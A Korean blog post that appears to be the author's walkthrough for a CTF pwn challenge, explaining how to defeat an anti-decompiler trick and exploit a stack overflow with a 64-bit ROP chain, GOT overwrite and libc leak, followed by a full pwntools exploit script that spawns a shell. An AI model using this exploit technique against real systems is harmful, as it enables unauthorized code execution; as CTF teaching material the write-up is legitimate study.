ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CHAPTER 1. Nymph's_fault HowToSolve
    0x.STORY_TELLER/HowToSolve 2018. 2. 28. 16:27

    CHAPTER 1. Nymph's_fault HowToSolve




    문제 링크 : https://github.com/pwnwiz/STORY_TELLER/blob/master/STORY_0x00/Nymph's_fault_basic



    이 문제는 64bit ROP + 간단한 Anti-Hexrays가 적용된 문제이다. 아주 쉬운 문제라고 할 수 있는게 카나리가 전혀 적용되어 있지 않고, Partial-Relro이기에 bss 또는 dynamic 영역등을 사용하여 /bin/sh;를 떄려넣고 익스를 할 수가 있다.


    BSS에 대해서 잠깐 설명하자면 변수의 선언이 되는 과정에서 초기화 되지 않은 프로그램의 메모리에 대한 정보를 담고 있는데, 프로그램이 시작될 때 0으로 초기화 시켜주는 역할을 한다. 익스플로잇 과정에서는 굳이 사용할 필요가 없는 영역이기 때문에 그 주소값을 /bin/sh;로 사용하여도 된다. 



    아이다로 메인 함수를 열어보면 case 문을 통해 3가지 함수중 한 개가 실행이 된다.

    pray() 함수에는 출력정도만  포함되어 있고, potion 함수와 persuade 함수는 c코드로 볼 수 없고 아래와 같이 오류 메시지가 나오는 것을 알 수 있다.

    이는 Anti-Hexrays의 목적으로 추가된 2줄의 어셈 코드 때문인데,


    아래의 


    add rsp, 500h 

    sub rsp, 500h


    가 이에 해당된다. rsp 포인터의 값을 500만큼 할당하고 다시 없애주기 때문에 프로그램의 작동에는 아무런 이상이 없지만, 아이다는 잘 해석을 하지 못한다.

    해결 방법은 간단하게 nop처리를 해주면 된다.



    persuade 함수의 Anti-Hexrays의 부분 전체를 아래와 같이 nop해주게 되면,



    아래와 같이 c코드로 내용을 확인할 수 있다.



    코드를 보면, char buf의 크기가 100h 즉, 256바이트인데 read함수는 0x1F4(500)만큼을 입력받는다는 것을 알 수 있다. 


    페이로드를 ROP 체이닝을 통해 256 + SFP + ROP 처럼 구성을 하면 익스가 된다.


    64비트 운영체제는 Calling convention이 32비트 체제와 다른데,  리눅스는 파라미터로 6개의 레지스터를 사용한다. 그 순서도 rdi, rsi, rdx, rcx, r8, r9와 같이 정해져있다. 물론 인자의 값이 6개보다 많다면 스택을 같이 사용하긴 하지만 read()와 write()의 인자값은 3개이기에 거기에 대해서는 언급하지 않겠다.


    이를 통해 페이로드에는 다음과 같은 정보들을 수집해야 한다.


    1. read()@plt, got

    2. write() @plt, got

    3. pppr gadget - rdi, rsi, rdx

    4. bss addr

    5. system offset 


    plt와 got의 경우 pwntools에서 symbol 기능을 통해 알아내거나, ida에서 확인할 수 있다.


    pppr의 경우 objdump -d를 통해 알아낼 수 있다.



    hint라는 함수아래에 asm코드로 하드코딩을 해 놓았기 때문에 40076a라는 주소값을 사용하면 된다.


    bss영역은 objdump -h 옵션을 통해 아래와 같이 알아낼 수 있다.



    다행스럽게도 bss영역의 크기가 8바이트나 되기 때문에 무난하게 넣고자 하는 /bin/sh를 넣을 수 있을 것 같다. 찾아낸 주소값은 0x602070이다.



    오프셋은 remote로 붙이면 알아낼 수 있다.


    모든 정보들을 토대로 64bit ROP를 진행하면 아래와 같이 성공적으로 flag에 대한 정보를 확인할 수 있다.



    아래는 내가 짠 익스코드이다. 


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    from pwn import *
    import time
    print("-------------------")
    print("---Nymph's Fault---")
    print("--pwned by pwnWiz--")
    print("-------------------")
    print("\n")
     
    #context.log_level="debug"
     
    #plt_read = 0x400630
    #plt_write = 0x400600
     
    = process("./Nymph\'s_fault_basic")
    = ELF("./Nymph\'s_fault_basic")
     
    plt_read = e.plt['read']
    plt_write = e.plt['write']
    got_read = e.got['read']
    got_write = e.got['write']
    bss_addr = 0x602070
    pppr = 0x40076a
     
    r.recv(1024)
    r.sendline("3")
    r.recv(1024)
     
    #stack size+sfp
    payload="A"*256
    payload+="B"*8
     
    #write /bin/sh; to bss_addr(0x602070)
    payload+=p64(pppr)
    payload+=p64(0)
    payload+=p64(bss_addr)
    payload+=p64(len("/bin/sh;"))
    payload+=p64(plt_read)
     
    #read plt_write
    payload+=p64(pppr)
    payload+=p64(1)
    payload+=p64(got_write)
    payload+=p64(0x8)
    payload+=p64(plt_write)
     
    #got overwrite got_write
    payload+=p64(pppr)
    payload+=p64(0)
    payload+=p64(got_write)
    payload+=p64(0x8)
    payload+=p64(plt_read)
     
    #use plt_write as system()
    payload+=p64(0x400775#pr
    payload+=p64(bss_addr)
    payload+=p64(plt_write)
    payload+="AAAAAAAA"
     
    #send payload
    r.send(payload)
    log.info("payload sended!")
     
    #read got_write 
    r.recv(0x183)
    log.info("parrot detour")
     
    r.sendline("/bin/sh")
    log.info("/bin/sh sended to bss_addr!")
     
    leak_libc=u64(r.recv(8))
    print "leak_libc : " + str(hex(leak_libc))
     
    #offset to system
    offset=0xb1f20 #write-system
    #offset=0xb1ec0 read-system
    #offset=0x9ad50 #libc read-system
    system_addr = leak_libc-offset
    print "system_addr : " + str(hex(system_addr))
     
    #send system_addr
    r.sendline(p64(system_addr))
    log.info("system_addr sended!")
     
    #get shell
    log.info("shell!! :<")
    r.interactive()
     
    cs





    '0x.STORY_TELLER > HowToSolve' 카테고리의 다른 글

    CHAPTER 3.Viva_La_Vida HowToSolve  (0) 2018.09.03
    CHAPTER 2.HalloweenDay HowToSolve  (0) 2018.04.11

    댓글

Designed by Tistory.